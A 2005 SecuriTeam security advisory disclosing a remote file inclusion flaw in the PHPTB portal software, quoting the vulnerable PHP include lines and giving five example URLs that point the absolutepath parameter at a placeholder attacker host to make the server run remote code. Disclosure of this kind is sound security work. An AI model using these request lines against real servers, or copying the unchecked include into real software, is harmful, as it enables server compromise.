[UNIX] PHPTB Code Injection Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 08/18/05

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    To: list@securiteam.com
Date: 18 Aug 2005 15:00:59 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      PHPTB Code Injection Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phptb.com/> PHPTB is "an open source portal / topic board
    system". An input validation flaw in PHPTB code allows malicious attackers
    to cause the server to execute arbitrary code.

    DETAILS

    The vulnerable code exists in the following files: admin_o.php,
    board_o.php, dev_o.php, file_o.php and tech_o.php:
    <?php
    include $absolutepath.'classes/smart_o.php';
    .. EOF

    In dev_o.php and tech_o.php:
    ..
    require $GLOBALS['absolutepath'].'userpass.php';
    .. EOF

    Examples:
    The following URLs can be used to tirgger the vulnerability:
    http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:goszynskif@gmail.com> Filip
    Groszy ski.

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